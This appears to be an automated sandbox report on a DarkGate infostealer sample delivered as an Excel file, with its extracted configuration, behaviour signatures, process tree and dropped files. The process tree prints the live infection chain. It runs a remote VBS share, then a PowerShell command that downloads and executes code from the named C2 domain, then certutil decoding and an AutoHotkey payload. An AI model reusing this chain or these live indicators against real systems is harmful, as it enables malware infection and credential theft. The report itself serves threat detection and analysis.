Resubmissions

15/03/2024, 02:46

240315-c9qgnagg3910

15/03/2024, 02:45

240315-c849esgg291

14/03/2024, 17:53

240314-wgkkgsaf8s1

14/03/2024, 17:45

240314-wb7stsae5w10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/03/2024, 02:46

General

  • Target
    march-D9445-2024.xlsx
  • Size 60KB
  • Sample240315-c9qgnagg39
  • SHA256 1d67808fee7115fa2597e8843aa10f737298c9f097397e5de486fc762753ea0b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • admin888

C2
  • nextroundst.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    NeONIafa

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\march-D9445-2024.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3192
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\64.226.97.86\share\EXCEL_OPEN_DOC.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1512
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'nextroundst.com/kqcmvqtj')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3392
        • C:\Windows\system32\certutil.exe
          "C:\Windows\system32\certutil.exe" -decodehex a.bin AutoHotkey.exe
          4⤵
            PID:2056
          • C:\st\AutoHotkey.exe
            "C:\st\AutoHotkey.exe" script.ahk
            4⤵
            • Executes dropped EXE
            • Checks processor information in registry
            PID:2256
          • C:\Windows\system32\attrib.exe
            "C:\Windows\system32\attrib.exe" +h C:/st
            4⤵
            • Views/modifies file attributes
            PID:932
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:3848
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        1⤵
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4456
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffc63349758,0x7ffc63349768,0x7ffc63349778
          2⤵
            PID:2228
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1760 --field-trial-handle=1880,i,5303538435457735899,10046041184376555334,131072 /prefetch:2
            2⤵
              PID:5012
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1880,i,5303538435457735899,10046041184376555334,131072 /prefetch:8
              2⤵
                PID:3868
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2260 --field-trial-handle=1880,i,5303538435457735899,10046041184376555334,131072 /prefetch:8
                2⤵
                  PID:2440
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2940 --field-trial-handle=1880,i,5303538435457735899,10046041184376555334,131072 /prefetch:1
                  2⤵
                    PID:1004
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2948 --field-trial-handle=1880,i,5303538435457735899,10046041184376555334,131072 /prefetch:1
                    2⤵
                      PID:2900
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4660 --field-trial-handle=1880,i,5303538435457735899,10046041184376555334,131072 /prefetch:1
                      2⤵
                        PID:2896
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4056 --field-trial-handle=1880,i,5303538435457735899,10046041184376555334,131072 /prefetch:1
                        2⤵
                          PID:492
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3272 --field-trial-handle=1880,i,5303538435457735899,10046041184376555334,131072 /prefetch:8
                          2⤵
                            PID:1964
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5060 --field-trial-handle=1880,i,5303538435457735899,10046041184376555334,131072 /prefetch:8
                            2⤵
                              PID:1004
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3264 --field-trial-handle=1880,i,5303538435457735899,10046041184376555334,131072 /prefetch:8
                              2⤵
                                PID:1060
                            • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                              "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                              1⤵
                                PID:3204

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    TransportSecurity

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                    • Size 371B
                                    • SHA256 d933819c03f34669f851cfad36f2be64a0389a3be7774cc4e0f9a0f49aa2aa16
                                    • MD5 SHA1 SHA512

                                    Preferences

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                    • Size 6KB
                                    • SHA256 a2401b92ac2bed200a95bef1b67f97a9216216b2c1514bf1b64c4217d88a7286
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Preferences

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                    • Size 6KB
                                    • SHA256 23bbfc0b1e636e6ea04a4a49fad5ad6cdbeaeb54cc0f03a53dc0991f1896aced
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Secure Preferences

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                    • Size 15KB
                                    • SHA256 0f955fd5408dabae140c2b2c2bc72a890205c8712f17051b4502c91b6045800e
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                    • Size 258KB
                                    • SHA256 99b52508fbf8ff4460aa1a030a8d246c801bb34ac1adbe995df35ab605306d6c
                                    • MD5 SHA1 SHA512 SSDEEP

                                    persisted_first_party_sets.json

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json
                                    • Size 2B
                                    • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                    • MD5 SHA1 SHA512

                                    __PSScriptPolicyTest_zj0afjjs.rzs.ps1

                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zj0afjjs.rzs.ps1
                                    • Size 60B
                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                    • MD5 SHA1 SHA512

                                    AutoHotkey.exe

                                    • Path C:\st\AutoHotkey.exe
                                    • Size 892KB
                                    • SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
                                    • MD5 SHA1 SHA512 SSDEEP

                                    a.bin

                                    • Path C:\st\a.bin
                                    • Size 1.7MB
                                    • SHA256 493099b55ea0da872d3b9855c5a60752833e737be547ebc5328caea2bf0542ed
                                    • MD5 SHA1 SHA512 SSDEEP

                                    script.ahk

                                    • Path C:\st\script.ahk
                                    • Size 48KB
                                    • SHA256 3b7a634458e8195a13a4c1610bb25d78a77f2b904b38835fca391d38509dd530
                                    • MD5 SHA1 SHA512 SSDEEP

                                    test.txt

                                    • Path C:\st\test.txt
                                    • Size 913KB
                                    • SHA256 738393c9e46150b246a0db906a22d77ba93812840919bf8b4913ef528df95e35
                                    • MD5 SHA1 SHA512 SSDEEP

                                    memory/2256-71-0x0000000004B00000-0x0000000004B73000-memory.dmp

                                    memory/2256-69-0x0000000004B00000-0x0000000004B73000-memory.dmp

                                    memory/3192-36-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-12-0x00007FFC450A0000-0x00007FFC450B0000-memory.dmp

                                    memory/3192-16-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-17-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-18-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-19-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-20-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-21-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-22-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-35-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-0-0x00007FFC47750000-0x00007FFC47760000-memory.dmp

                                    memory/3192-1-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-14-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-2-0x00007FFC47750000-0x00007FFC47760000-memory.dmp

                                    memory/3192-3-0x00007FFC47750000-0x00007FFC47760000-memory.dmp

                                    memory/3192-4-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-5-0x00007FFC47750000-0x00007FFC47760000-memory.dmp

                                    memory/3192-15-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-6-0x00007FFC47750000-0x00007FFC47760000-memory.dmp

                                    memory/3192-7-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-8-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-13-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-9-0x00007FFC450A0000-0x00007FFC450B0000-memory.dmp

                                    memory/3192-11-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3192-10-0x00007FFC876D0000-0x00007FFC878C5000-memory.dmp

                                    memory/3392-66-0x00007FFC5EAE0000-0x00007FFC5F5A1000-memory.dmp

                                    memory/3392-60-0x000001F72BB70000-0x000001F72BB80000-memory.dmp

                                    memory/3392-59-0x000001F72BB70000-0x000001F72BB80000-memory.dmp

                                    memory/3392-56-0x00007FFC5EAE0000-0x00007FFC5F5A1000-memory.dmp

                                    memory/3392-50-0x000001F72C370000-0x000001F72C532000-memory.dmp

                                    memory/3392-48-0x000001F72BB70000-0x000001F72BB80000-memory.dmp

                                    memory/3392-49-0x000001F72BB70000-0x000001F72BB80000-memory.dmp

                                    memory/3392-47-0x00007FFC5EAE0000-0x00007FFC5F5A1000-memory.dmp

                                    memory/3392-42-0x000001F72BCB0000-0x000001F72BCD2000-memory.dmp